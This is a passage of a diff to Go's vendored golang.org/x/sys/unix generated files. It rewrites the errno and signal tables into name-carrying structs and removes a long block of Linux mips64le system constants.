-+ {55, "EBADSLT", "invalid slot"},
-+ {56, "EDEADLOCK", "file locking deadlock error"},
-+ {59, "EBFONT", "bad font file format"},
-+ {60, "ENOSTR", "device not a stream"},
-+ {61, "ENODATA", "no data available"},
-+ {62, "ETIME", "timer expired"},
-+ {63, "ENOSR", "out of streams resources"},
-+ {64, "ENONET", "machine is not on the network"},
-+ {65, "ENOPKG", "package not installed"},
-+ {66, "EREMOTE", "object is remote"},
-+ {67, "ENOLINK", "link has been severed"},
-+ {68, "EADV", "advertise error"},
-+ {69, "ESRMNT", "srmount error"},
-+ {70, "ECOMM", "communication error on send"},
-+ {71, "EPROTO", "protocol error"},
-+ {73, "EDOTDOT", "RFS specific error"},
-+ {74, "EMULTIHOP", "multihop attempted"},
-+ {77, "EBADMSG", "bad message"},
-+ {78, "ENAMETOOLONG", "file name too long"},
-+ {79, "EOVERFLOW", "value too large for defined data type"},
-+ {80, "ENOTUNIQ", "name not unique on network"},
-+ {81, "EBADFD", "file descriptor in bad state"},
-+ {82, "EREMCHG", "remote address changed"},
-+ {83, "ELIBACC", "can not access a needed shared library"},
-+ {84, "ELIBBAD", "accessing a corrupted shared library"},
-+ {85, "ELIBSCN", ".lib section in a.out corrupted"},
-+ {86, "ELIBMAX", "attempting to link in too many shared libraries"},
-+ {87, "ELIBEXEC", "cannot exec a shared library directly"},
-+ {88, "EILSEQ", "invalid or incomplete multibyte or wide character"},
-+ {89, "ENOSYS", "function not implemented"},
-+ {90, "ELOOP", "too many levels of symbolic links"},
-+ {91, "ERESTART", "interrupted system call should be restarted"},
-+ {92, "ESTRPIPE", "streams pipe error"},
-+ {93, "ENOTEMPTY", "directory not empty"},
-+ {94, "EUSERS", "too many users"},
-+ {95, "ENOTSOCK", "socket operation on non-socket"},
-+ {96, "EDESTADDRREQ", "destination address required"},
-+ {97, "EMSGSIZE", "message too long"},
-+ {98, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {99, "ENOPROTOOPT", "protocol not available"},
-+ {120, "EPROTONOSUPPORT", "protocol not supported"},
-+ {121, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {122, "ENOTSUP", "operation not supported"},
-+ {123, "EPFNOSUPPORT", "protocol family not supported"},
-+ {124, "EAFNOSUPPORT", "address family not supported by protocol"},
-+ {125, "EADDRINUSE", "address already in use"},
-+ {126, "EADDRNOTAVAIL", "cannot assign requested address"},
-+ {127, "ENETDOWN", "network is down"},
-+ {128, "ENETUNREACH", "network is unreachable"},
-+ {129, "ENETRESET", "network dropped connection on reset"},
-+ {130, "ECONNABORTED", "software caused connection abort"},
-+ {131, "ECONNRESET", "connection reset by peer"},
-+ {132, "ENOBUFS", "no buffer space available"},
-+ {133, "EISCONN", "transport endpoint is already connected"},
-+ {134, "ENOTCONN", "transport endpoint is not connected"},
-+ {135, "EUCLEAN", "structure needs cleaning"},
-+ {137, "ENOTNAM", "not a XENIX named type file"},
-+ {138, "ENAVAIL", "no XENIX semaphores available"},
-+ {139, "EISNAM", "is a named type file"},
-+ {140, "EREMOTEIO", "remote I/O error"},
-+ {141, "EINIT", "unknown error 141"},
-+ {142, "EREMDEV", "unknown error 142"},
-+ {143, "ESHUTDOWN", "cannot send after transport endpoint shutdown"},
-+ {144, "ETOOMANYREFS", "too many references: cannot splice"},
-+ {145, "ETIMEDOUT", "connection timed out"},
-+ {146, "ECONNREFUSED", "connection refused"},
-+ {147, "EHOSTDOWN", "host is down"},
-+ {148, "EHOSTUNREACH", "no route to host"},
-+ {149, "EALREADY", "operation already in progress"},
-+ {150, "EINPROGRESS", "operation now in progress"},
-+ {151, "ESTALE", "stale file handle"},
-+ {158, "ECANCELED", "operation canceled"},
-+ {159, "ENOMEDIUM", "no medium found"},
-+ {160, "EMEDIUMTYPE", "wrong medium type"},
-+ {161, "ENOKEY", "required key not available"},
-+ {162, "EKEYEXPIRED", "key has expired"},
-+ {163, "EKEYREVOKED", "key has been revoked"},
-+ {164, "EKEYREJECTED", "key was rejected by service"},
-+ {165, "EOWNERDEAD", "owner died"},
-+ {166, "ENOTRECOVERABLE", "state not recoverable"},
-+ {167, "ERFKILL", "operation not possible due to RF-kill"},
-+ {168, "EHWPOISON", "memory page has hardware error"},
-+ {1133, "EDQUOT", "disk quota exceeded"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/breakpoint trap",
-- 6: "aborted",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "user defined signal 1",
-- 17: "user defined signal 2",
-- 18: "child exited",
-- 19: "power failure",
-- 20: "window changed",
-- 21: "urgent I/O condition",
-- 22: "I/O possible",
-- 23: "stopped (signal)",
-- 24: "stopped",
-- 25: "continued",
-- 26: "stopped (tty input)",
-- 27: "stopped (tty output)",
-- 28: "virtual timer expired",
-- 29: "profiling timer expired",
-- 30: "CPU time limit exceeded",
-- 31: "file size limit exceeded",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/breakpoint trap"},
-+ {6, "SIGABRT", "aborted"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGUSR1", "user defined signal 1"},
-+ {17, "SIGUSR2", "user defined signal 2"},
-+ {18, "SIGCHLD", "child exited"},
-+ {19, "SIGPWR", "power failure"},
-+ {20, "SIGWINCH", "window changed"},
-+ {21, "SIGURG", "urgent I/O condition"},
-+ {22, "SIGIO", "I/O possible"},
-+ {23, "SIGSTOP", "stopped (signal)"},
-+ {24, "SIGTSTP", "stopped"},
-+ {25, "SIGCONT", "continued"},
-+ {26, "SIGTTIN", "stopped (tty input)"},
-+ {27, "SIGTTOU", "stopped (tty output)"},
-+ {28, "SIGVTALRM", "virtual timer expired"},
-+ {29, "SIGPROF", "profiling timer expired"},
-+ {30, "SIGXCPU", "CPU time limit exceeded"},
-+ {31, "SIGXFSZ", "file size limit exceeded"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_mips64le.go b/vendor/golang.org/x/sys/unix/zerrors_linux_mips64le.go
-index 2310beeb..e758b61e 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_linux_mips64le.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_linux_mips64le.go
-@@ -3,7 +3,7 @@
-
- // +build mips64le,linux
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go
-
- package unix
-@@ -11,1873 +11,489 @@ package unix
- import "syscall"
-
- const (
-- AF_ALG = 0x26
-- AF_APPLETALK = 0x5
-- AF_ASH = 0x12
-- AF_ATMPVC = 0x8
-- AF_ATMSVC = 0x14
-- AF_AX25 = 0x3
-- AF_BLUETOOTH = 0x1f
-- AF_BRIDGE = 0x7
-- AF_CAIF = 0x25
-- AF_CAN = 0x1d
-- AF_DECnet = 0xc
-- AF_ECONET = 0x13
-- AF_FILE = 0x1
-- AF_IB = 0x1b
-- AF_IEEE802154 = 0x24
-- AF_INET = 0x2
-- AF_INET6 = 0xa
-- AF_IPX = 0x4
-- AF_IRDA = 0x17
-- AF_ISDN = 0x22
-- AF_IUCV = 0x20
-- AF_KCM = 0x29
-- AF_KEY = 0xf
-- AF_LLC = 0x1a
-- AF_LOCAL = 0x1
-- AF_MAX = 0x2b
-- AF_MPLS = 0x1c
-- AF_NETBEUI = 0xd
-- AF_NETLINK = 0x10
-- AF_NETROM = 0x6
-- AF_NFC = 0x27
-- AF_PACKET = 0x11
-- AF_PHONET = 0x23
-- AF_PPPOX = 0x18
-- AF_QIPCRTR = 0x2a
-- AF_RDS = 0x15
-- AF_ROSE = 0xb
-- AF_ROUTE = 0x10
-- AF_RXRPC = 0x21
-- AF_SECURITY = 0xe
-- AF_SNA = 0x16
-- AF_TIPC = 0x1e
-- AF_UNIX = 0x1
-- AF_UNSPEC = 0x0
-- AF_VSOCK = 0x28
-- AF_WANPIPE = 0x19
-- AF_X25 = 0x9
-- ALG_OP_DECRYPT = 0x0
-- ALG_OP_ENCRYPT = 0x1
-- ALG_SET_AEAD_ASSOCLEN = 0x4
-- ALG_SET_AEAD_AUTHSIZE = 0x5
-- ALG_SET_IV = 0x2
-- ALG_SET_KEY = 0x1
-- ALG_SET_OP = 0x3
-- ARPHRD_6LOWPAN = 0x339
-- ARPHRD_ADAPT = 0x108
-- ARPHRD_APPLETLK = 0x8
-- ARPHRD_ARCNET = 0x7
-- ARPHRD_ASH = 0x30d
-- ARPHRD_ATM = 0x13
-- ARPHRD_AX25 = 0x3
-- ARPHRD_BIF = 0x307
-- ARPHRD_CAIF = 0x336
-- ARPHRD_CAN = 0x118
-- ARPHRD_CHAOS = 0x5
-- ARPHRD_CISCO = 0x201
-- ARPHRD_CSLIP = 0x101
-- ARPHRD_CSLIP6 = 0x103
-- ARPHRD_DDCMP = 0x205
-- ARPHRD_DLCI = 0xf
-- ARPHRD_ECONET = 0x30e
-- ARPHRD_EETHER = 0x2
-- ARPHRD_ETHER = 0x1
-- ARPHRD_EUI64 = 0x1b
-- ARPHRD_FCAL = 0x311
-- ARPHRD_FCFABRIC = 0x313
-- ARPHRD_FCPL = 0x312
-- ARPHRD_FCPP = 0x310
-- ARPHRD_FDDI = 0x306
-- ARPHRD_FRAD = 0x302
-- ARPHRD_HDLC = 0x201
-- ARPHRD_HIPPI = 0x30c
-- ARPHRD_HWX25 = 0x110
-- ARPHRD_IEEE1394 = 0x18
-- ARPHRD_IEEE802 = 0x6
-- ARPHRD_IEEE80211 = 0x321
-- ARPHRD_IEEE80211_PRISM = 0x322
-- ARPHRD_IEEE80211_RADIOTAP = 0x323
-- ARPHRD_IEEE802154 = 0x324
-- ARPHRD_IEEE802154_MONITOR = 0x325
-- ARPHRD_IEEE802_TR = 0x320
-- ARPHRD_INFINIBAND = 0x20
-- ARPHRD_IP6GRE = 0x337
-- ARPHRD_IPDDP = 0x309
-- ARPHRD_IPGRE = 0x30a
-- ARPHRD_IRDA = 0x30f
-- ARPHRD_LAPB = 0x204
-- ARPHRD_LOCALTLK = 0x305
-- ARPHRD_LOOPBACK = 0x304
-- ARPHRD_METRICOM = 0x17
-- ARPHRD_NETLINK = 0x338
-- ARPHRD_NETROM = 0x0
-- ARPHRD_NONE = 0xfffe
-- ARPHRD_PHONET = 0x334
-- ARPHRD_PHONET_PIPE = 0x335
-- ARPHRD_PIMREG = 0x30b
-- ARPHRD_PPP = 0x200
-- ARPHRD_PRONET = 0x4
-- ARPHRD_RAWHDLC = 0x206
-- ARPHRD_ROSE = 0x10e
-- ARPHRD_RSRVD = 0x104
-- ARPHRD_SIT = 0x308
-- ARPHRD_SKIP = 0x303
-- ARPHRD_SLIP = 0x100
-- ARPHRD_SLIP6 = 0x102
-- ARPHRD_TUNNEL = 0x300
-- ARPHRD_TUNNEL6 = 0x301
-- ARPHRD_VOID = 0xffff
-- ARPHRD_X25 = 0x10f
-- B0 = 0x0
-- B1000000 = 0x1008
-- B110 = 0x3
-- B115200 = 0x1002
-- B1152000 = 0x1009
-- B1200 = 0x9
-- B134 = 0x4
-- B150 = 0x5
-- B1500000 = 0x100a
-- B1800 = 0xa
-- B19200 = 0xe
-- B200 = 0x6
-- B2000000 = 0x100b
-- B230400 = 0x1003
-- B2400 = 0xb
-- B2500000 = 0x100c
-- B300 = 0x7
-- B3000000 = 0x100d
-- B3500000 = 0x100e
-- B38400 = 0xf
-- B4000000 = 0x100f
-- B460800 = 0x1004
-- B4800 = 0xc
-- B50 = 0x1
-- B500000 = 0x1005
-- B57600 = 0x1001
-- B576000 = 0x1006
-- B600 = 0x8
-- B75 = 0x2
-- B921600 = 0x1007
-- B9600 = 0xd
-- BLKBSZGET = 0x40081270
-- BLKBSZSET = 0x80081271
-- BLKFLSBUF = 0x20001261
-- BLKFRAGET = 0x20001265
-- BLKFRASET = 0x20001264
-- BLKGETSIZE = 0x20001260
-- BLKGETSIZE64 = 0x40081272
-- BLKPBSZGET = 0x2000127b
-- BLKRAGET = 0x20001263
-- BLKRASET = 0x20001262
-- BLKROGET = 0x2000125e
-- BLKROSET = 0x2000125d
-- BLKRRPART = 0x2000125f
-- BLKSECTGET = 0x20001267
-- BLKSECTSET = 0x20001266
-- BLKSSZGET = 0x20001268
-- BOTHER = 0x1000
-- BPF_A = 0x10
-- BPF_ABS = 0x20
-- BPF_ADD = 0x0
-- BPF_ALU = 0x4
-- BPF_AND = 0x50
-- BPF_B = 0x10
-- BPF_DIV = 0x30
-- BPF_H = 0x8
-- BPF_IMM = 0x0
-- BPF_IND = 0x40
-- BPF_JA = 0x0
-- BPF_JEQ = 0x10
-- BPF_JGE = 0x30
-- BPF_JGT = 0x20
-- BPF_JMP = 0x5
-- BPF_JSET = 0x40
-- BPF_K = 0x0
-- BPF_LD = 0x0
-- BPF_LDX = 0x1
-- BPF_LEN = 0x80
-- BPF_LL_OFF = -0x200000
-- BPF_LSH = 0x60
-- BPF_MAJOR_VERSION = 0x1
-- BPF_MAXINSNS = 0x1000
-- BPF_MEM = 0x60
-- BPF_MEMWORDS = 0x10
-- BPF_MINOR_VERSION = 0x1
-- BPF_MISC = 0x7
-- BPF_MOD = 0x90
-- BPF_MSH = 0xa0
-- BPF_MUL = 0x20
-- BPF_NEG = 0x80
-- BPF_NET_OFF = -0x100000
-- BPF_OR = 0x40
-- BPF_RET = 0x6
-- BPF_RSH = 0x70
-- BPF_ST = 0x2
-- BPF_STX = 0x3
-- BPF_SUB = 0x10
-- BPF_TAX = 0x0
-- BPF_TXA = 0x80
-- BPF_W = 0x0
-- BPF_X = 0x8
-- BPF_XOR = 0xa0
-- BRKINT = 0x2
-- BS0 = 0x0
-- BS1 = 0x2000
-- BSDLY = 0x2000
-- CAN_BCM = 0x2
-- CAN_EFF_FLAG = 0x80000000
-- CAN_EFF_ID_BITS = 0x1d
-- CAN_EFF_MASK = 0x1fffffff
-- CAN_ERR_FLAG = 0x20000000
-- CAN_ERR_MASK = 0x1fffffff
-- CAN_INV_FILTER = 0x20000000
-- CAN_ISOTP = 0x6
-- CAN_MAX_DLC = 0x8
-- CAN_MAX_DLEN = 0x8
-- CAN_MCNET = 0x5
-- CAN_MTU = 0x10
-- CAN_NPROTO = 0x7
-- CAN_RAW = 0x1
-- CAN_RAW_FILTER_MAX = 0x200
-- CAN_RTR_FLAG = 0x40000000
-- CAN_SFF_ID_BITS = 0xb
-- CAN_SFF_MASK = 0x7ff
-- CAN_TP16 = 0x3
-- CAN_TP20 = 0x4
-- CBAUD = 0x100f
-- CBAUDEX = 0x1000
-- CFLUSH = 0xf
-- CIBAUD = 0x100f0000
-- CLOCAL = 0x800
-- CLOCK_BOOTTIME = 0x7
-- CLOCK_BOOTTIME_ALARM = 0x9
-- CLOCK_DEFAULT = 0x0
-- CLOCK_EXT = 0x1
-- CLOCK_INT = 0x2
-- CLOCK_MONOTONIC = 0x1
-- CLOCK_MONOTONIC_COARSE = 0x6
-- CLOCK_MONOTONIC_RAW = 0x4
-- CLOCK_PROCESS_CPUTIME_ID = 0x2
-- CLOCK_REALTIME = 0x0
-- CLOCK_REALTIME_ALARM = 0x8
-- CLOCK_REALTIME_COARSE = 0x5
-- CLOCK_TAI = 0xb
-- CLOCK_THREAD_CPUTIME_ID = 0x3
-- CLOCK_TXFROMRX = 0x4
-- CLOCK_TXINT = 0x3
-- CLONE_CHILD_CLEARTID = 0x200000
-- CLONE_CHILD_SETTID = 0x1000000
-- CLONE_DETACHED = 0x400000
-- CLONE_FILES = 0x400
-- CLONE_FS = 0x200
-- CLONE_IO = 0x80000000
-- CLONE_NEWCGROUP = 0x2000000
-- CLONE_NEWIPC = 0x8000000
-- CLONE_NEWNET = 0x40000000
-- CLONE_NEWNS = 0x20000
-- CLONE_NEWPID = 0x20000000
-- CLONE_NEWUSER = 0x10000000
-- CLONE_NEWUTS = 0x4000000
-- CLONE_PARENT = 0x8000
-- CLONE_PARENT_SETTID = 0x100000
-- CLONE_PTRACE = 0x2000
-- CLONE_SETTLS = 0x80000
-- CLONE_SIGHAND = 0x800
-- CLONE_SYSVSEM = 0x40000
-- CLONE_THREAD = 0x10000
-- CLONE_UNTRACED = 0x800000
-- CLONE_VFORK = 0x4000
-- CLONE_VM = 0x100
-- CMSPAR = 0x40000000
-- CR0 = 0x0
-- CR1 = 0x200
-- CR2 = 0x400
-- CR3 = 0x600
-- CRDLY = 0x600
-- CREAD = 0x80
-- CRTSCTS = 0x80000000
-- CS5 = 0x0
-- CS6 = 0x10
-- CS7 = 0x20
-- CS8 = 0x30
-- CSIGNAL = 0xff
-- CSIZE = 0x30
-- CSTART = 0x11
-- CSTATUS = 0x0
-- CSTOP = 0x13
-- CSTOPB = 0x40
-- CSUSP = 0x1a
-- DT_BLK = 0x6
-- DT_CHR = 0x2
-- DT_DIR = 0x4
-- DT_FIFO = 0x1
-- DT_LNK = 0xa
-- DT_REG = 0x8
-- DT_SOCK = 0xc
-- DT_UNKNOWN = 0x0
-- DT_WHT = 0xe
-- ECHO = 0x8
-- ECHOCTL = 0x200
-- ECHOE = 0x10
-- ECHOK = 0x20
-- ECHOKE = 0x800
-- ECHONL = 0x40
-- ECHOPRT = 0x400
-- EFD_CLOEXEC = 0x80000
-- EFD_NONBLOCK = 0x80
-- EFD_SEMAPHORE = 0x1
-- ENCODING_DEFAULT = 0x0
-- ENCODING_FM_MARK = 0x3
-- ENCODING_FM_SPACE = 0x4
-- ENCODING_MANCHESTER = 0x5
-- ENCODING_NRZ = 0x1
-- ENCODING_NRZI = 0x2
-- EPOLLERR = 0x8
-- EPOLLET = 0x80000000
-- EPOLLEXCLUSIVE = 0x10000000
-- EPOLLHUP = 0x10
-- EPOLLIN = 0x1
-- EPOLLMSG = 0x400
-- EPOLLONESHOT = 0x40000000
-- EPOLLOUT = 0x4
-- EPOLLPRI = 0x2
-- EPOLLRDBAND = 0x80
-- EPOLLRDHUP = 0x2000
-- EPOLLRDNORM = 0x40
-- EPOLLWAKEUP = 0x20000000
-- EPOLLWRBAND = 0x200
-- EPOLLWRNORM = 0x100
-- EPOLL_CLOEXEC = 0x80000
-- EPOLL_CTL_ADD = 0x1
-- EPOLL_CTL_DEL = 0x2
-- EPOLL_CTL_MOD = 0x3
-- ETH_P_1588 = 0x88f7
-- ETH_P_8021AD = 0x88a8
-- ETH_P_8021AH = 0x88e7
-- ETH_P_8021Q = 0x8100
-- ETH_P_80221 = 0x8917
-- ETH_P_802_2 = 0x4
-- ETH_P_802_3 = 0x1
-- ETH_P_802_3_MIN = 0x600
-- ETH_P_802_EX1 = 0x88b5
-- ETH_P_AARP = 0x80f3
-- ETH_P_AF_IUCV = 0xfbfb
-- ETH_P_ALL = 0x3
-- ETH_P_AOE = 0x88a2
-- ETH_P_ARCNET = 0x1a
-- ETH_P_ARP = 0x806
-- ETH_P_ATALK = 0x809b
-- ETH_P_ATMFATE = 0x8884
-- ETH_P_ATMMPOA = 0x884c
-- ETH_P_AX25 = 0x2
-- ETH_P_BATMAN = 0x4305
-- ETH_P_BPQ = 0x8ff
-- ETH_P_CAIF = 0xf7
-- ETH_P_CAN = 0xc
-- ETH_P_CANFD = 0xd
-- ETH_P_CONTROL = 0x16
-- ETH_P_CUST = 0x6006
-- ETH_P_DDCMP = 0x6
-- ETH_P_DEC = 0x6000
-- ETH_P_DIAG = 0x6005
-- ETH_P_DNA_DL = 0x6001
-- ETH_P_DNA_RC = 0x6002
-- ETH_P_DNA_RT = 0x6003
-- ETH_P_DSA = 0x1b
-- ETH_P_ECONET = 0x18
-- ETH_P_EDSA = 0xdada
-- ETH_P_FCOE = 0x8906
-- ETH_P_FIP = 0x8914
-- ETH_P_HDLC = 0x19
-- ETH_P_HSR = 0x892f
-- ETH_P_IEEE802154 = 0xf6
-- ETH_P_IEEEPUP = 0xa00
-- ETH_P_IEEEPUPAT = 0xa01
-- ETH_P_IP = 0x800
-- ETH_P_IPV6 = 0x86dd
-- ETH_P_IPX = 0x8137
-- ETH_P_IRDA = 0x17
-- ETH_P_LAT = 0x6004
-- ETH_P_LINK_CTL = 0x886c
-- ETH_P_LOCALTALK = 0x9
-- ETH_P_LOOP = 0x60
-- ETH_P_LOOPBACK = 0x9000
-- ETH_P_MACSEC = 0x88e5
-- ETH_P_MOBITEX = 0x15
-- ETH_P_MPLS_MC = 0x8848
-- ETH_P_MPLS_UC = 0x8847
-- ETH_P_MVRP = 0x88f5
-- ETH_P_NCSI = 0x88f8
-- ETH_P_PAE = 0x888e
-- ETH_P_PAUSE = 0x8808
-- ETH_P_PHONET = 0xf5
-- ETH_P_PPPTALK = 0x10
-- ETH_P_PPP_DISC = 0x8863
-- ETH_P_PPP_MP = 0x8
-- ETH_P_PPP_SES = 0x8864
-- ETH_P_PRP = 0x88fb
-- ETH_P_PUP = 0x200
-- ETH_P_PUPAT = 0x201
-- ETH_P_QINQ1 = 0x9100
-- ETH_P_QINQ2 = 0x9200
-- ETH_P_QINQ3 = 0x9300
-- ETH_P_RARP = 0x8035
-- ETH_P_SCA = 0x6007
-- ETH_P_SLOW = 0x8809
-- ETH_P_SNAP = 0x5
-- ETH_P_TDLS = 0x890d
-- ETH_P_TEB = 0x6558
-- ETH_P_TIPC = 0x88ca
-- ETH_P_TRAILER = 0x1c
-- ETH_P_TR_802_2 = 0x11
-- ETH_P_TSN = 0x22f0
-- ETH_P_WAN_PPP = 0x7
-- ETH_P_WCCP = 0x883e
-- ETH_P_X25 = 0x805
-- ETH_P_XDSA = 0xf8
-- EXTA = 0xe
-- EXTB = 0xf
-- EXTPROC = 0x10000
-- FALLOC_FL_COLLAPSE_RANGE = 0x8
-- FALLOC_FL_INSERT_RANGE = 0x20
-- FALLOC_FL_KEEP_SIZE = 0x1
-- FALLOC_FL_NO_HIDE_STALE = 0x4
-- FALLOC_FL_PUNCH_HOLE = 0x2
-- FALLOC_FL_UNSHARE_RANGE = 0x40
-- FALLOC_FL_ZERO_RANGE = 0x10
-- FD_CLOEXEC = 0x1
-- FD_SETSIZE = 0x400
-- FF0 = 0x0
-- FF1 = 0x8000
-- FFDLY = 0x8000
-- FLUSHO = 0x2000
-- FS_ENCRYPTION_MODE_AES_256_CBC = 0x3
-- FS_ENCRYPTION_MODE_AES_256_CTS = 0x4
-- FS_ENCRYPTION_MODE_AES_256_GCM = 0x2
-- FS_ENCRYPTION_MODE_AES_256_XTS = 0x1
-- FS_ENCRYPTION_MODE_INVALID = 0x0
-- FS_IOC_GET_ENCRYPTION_POLICY = 0x800c6615
-- FS_IOC_GET_ENCRYPTION_PWSALT = 0x80106614
-- FS_IOC_SET_ENCRYPTION_POLICY = 0x400c6613
-- FS_KEY_DESCRIPTOR_SIZE = 0x8
-- FS_KEY_DESC_PREFIX = "fscrypt:"
-- FS_KEY_DESC_PREFIX_SIZE = 0x8
-- FS_MAX_KEY_SIZE = 0x40
-- FS_POLICY_FLAGS_PAD_16 = 0x2
-- FS_POLICY_FLAGS_PAD_32 = 0x3
-- FS_POLICY_FLAGS_PAD_4 = 0x0
-- FS_POLICY_FLAGS_PAD_8 = 0x1
-- FS_POLICY_FLAGS_PAD_MASK = 0x3
-- FS_POLICY_FLAGS_VALID = 0x3
-- F_DUPFD = 0x0
-- F_DUPFD_CLOEXEC = 0x406
-- F_EXLCK = 0x4
-- F_GETFD = 0x1
-- F_GETFL = 0x3
-- F_GETLEASE = 0x401
-- F_GETLK = 0xe
-- F_GETLK64 = 0xe
-- F_GETOWN = 0x17
-- F_GETOWN_EX = 0x10
-- F_GETPIPE_SZ = 0x408
-- F_GETSIG = 0xb
-- F_LOCK = 0x1
-- F_NOTIFY = 0x402
-- F_OFD_GETLK = 0x24
-- F_OFD_SETLK = 0x25
-- F_OFD_SETLKW = 0x26
-- F_OK = 0x0
-- F_RDLCK = 0x0
-- F_SETFD = 0x2
-- F_SETFL = 0x4
-- F_SETLEASE = 0x400
-- F_SETLK = 0x6
-- F_SETLK64 = 0x6
-- F_SETLKW = 0x7
-- F_SETLKW64 = 0x7
-- F_SETOWN = 0x18
-- F_SETOWN_EX = 0xf
-- F_SETPIPE_SZ = 0x407
-- F_SETSIG = 0xa
-- F_SHLCK = 0x8
-- F_TEST = 0x3
-- F_TLOCK = 0x2
-- F_ULOCK = 0x0
-- F_UNLCK = 0x2
-- F_WRLCK = 0x1
-- GENL_ADMIN_PERM = 0x1
-- GENL_CMD_CAP_DO = 0x2
-- GENL_CMD_CAP_DUMP = 0x4
-- GENL_CMD_CAP_HASPOL = 0x8
-- GENL_HDRLEN = 0x4
-- GENL_ID_CTRL = 0x10
-- GENL_ID_PMCRAID = 0x12
-- GENL_ID_VFS_DQUOT = 0x11
-- GENL_MAX_ID = 0x3ff
-- GENL_MIN_ID = 0x10
-- GENL_NAMSIZ = 0x10
-- GENL_START_ALLOC = 0x13
-- GENL_UNS_ADMIN_PERM = 0x10
-- GRND_NONBLOCK = 0x1
-- GRND_RANDOM = 0x2
-- HUPCL = 0x400
-- IBSHIFT = 0x10
-- ICANON = 0x2
-- ICMPV6_FILTER = 0x1
-- ICRNL = 0x100
-- IEXTEN = 0x100
-- IFA_F_DADFAILED = 0x8
-- IFA_F_DEPRECATED = 0x20
-- IFA_F_HOMEADDRESS = 0x10
-- IFA_F_MANAGETEMPADDR = 0x100
-- IFA_F_MCAUTOJOIN = 0x400
-- IFA_F_NODAD = 0x2
-- IFA_F_NOPREFIXROUTE = 0x200
-- IFA_F_OPTIMISTIC = 0x4
-- IFA_F_PERMANENT = 0x80
-- IFA_F_SECONDARY = 0x1
-- IFA_F_STABLE_PRIVACY = 0x800
-- IFA_F_TEMPORARY = 0x1
-- IFA_F_TENTATIVE = 0x40
-- IFA_MAX = 0x8
-- IFF_ALLMULTI = 0x200
-- IFF_ATTACH_QUEUE = 0x200
-- IFF_AUTOMEDIA = 0x4000
-- IFF_BROADCAST = 0x2
-- IFF_DEBUG = 0x4
-- IFF_DETACH_QUEUE = 0x400
-- IFF_DORMANT = 0x20000
-- IFF_DYNAMIC = 0x8000
-- IFF_ECHO = 0x40000
-- IFF_LOOPBACK = 0x8
-- IFF_LOWER_UP = 0x10000
-- IFF_MASTER = 0x400
-- IFF_MULTICAST = 0x1000
-- IFF_MULTI_QUEUE = 0x100
-- IFF_NOARP = 0x80
-- IFF_NOFILTER = 0x1000
-- IFF_NOTRAILERS = 0x20
-- IFF_NO_PI = 0x1000
-- IFF_ONE_QUEUE = 0x2000
-- IFF_PERSIST = 0x800
-- IFF_POINTOPOINT = 0x10
-- IFF_PORTSEL = 0x2000
-- IFF_PROMISC = 0x100
-- IFF_RUNNING = 0x40
-- IFF_SLAVE = 0x800
-- IFF_TAP = 0x2
-- IFF_TUN = 0x1
-- IFF_TUN_EXCL = 0x8000
-- IFF_UP = 0x1
-- IFF_VNET_HDR = 0x4000
-- IFF_VOLATILE = 0x70c5a
-- IFNAMSIZ = 0x10
-- IGNBRK = 0x1
-- IGNCR = 0x80
-- IGNPAR = 0x4
-- IMAXBEL = 0x2000
-- INLCR = 0x40
-- INPCK = 0x10
-- IN_ACCESS = 0x1
-- IN_ALL_EVENTS = 0xfff
-- IN_ATTRIB = 0x4
-- IN_CLASSA_HOST = 0xffffff
-- IN_CLASSA_MAX = 0x80
-- IN_CLASSA_NET = 0xff000000
-- IN_CLASSA_NSHIFT = 0x18
-- IN_CLASSB_HOST = 0xffff
-- IN_CLASSB_MAX = 0x10000
-- IN_CLASSB_NET = 0xffff0000
-- IN_CLASSB_NSHIFT = 0x10
-- IN_CLASSC_HOST = 0xff
-- IN_CLASSC_NET = 0xffffff00
-- IN_CLASSC_NSHIFT = 0x8
-- IN_CLOEXEC = 0x80000
-- IN_CLOSE = 0x18
-- IN_CLOSE_NOWRITE = 0x10
-- IN_CLOSE_WRITE = 0x8
-- IN_CREATE = 0x100
-- IN_DELETE = 0x200
-- IN_DELETE_SELF = 0x400
-- IN_DONT_FOLLOW = 0x2000000
-- IN_EXCL_UNLINK = 0x4000000
-- IN_IGNORED = 0x8000
-- IN_ISDIR = 0x40000000
-- IN_LOOPBACKNET = 0x7f
-- IN_MASK_ADD = 0x20000000
-- IN_MODIFY = 0x2
-- IN_MOVE = 0xc0
-- IN_MOVED_FROM = 0x40
-- IN_MOVED_TO = 0x80
-- IN_MOVE_SELF = 0x800
-- IN_NONBLOCK = 0x80
-- IN_ONESHOT = 0x80000000
-- IN_ONLYDIR = 0x1000000
-- IN_OPEN = 0x20
-- IN_Q_OVERFLOW = 0x4000
-- IN_UNMOUNT = 0x2000
-- IPPROTO_AH = 0x33
-- IPPROTO_BEETPH = 0x5e
-- IPPROTO_COMP = 0x6c
-- IPPROTO_DCCP = 0x21
-- IPPROTO_DSTOPTS = 0x3c
-- IPPROTO_EGP = 0x8
-- IPPROTO_ENCAP = 0x62
-- IPPROTO_ESP = 0x32
-- IPPROTO_FRAGMENT = 0x2c
-- IPPROTO_GRE = 0x2f
-- IPPROTO_HOPOPTS = 0x0
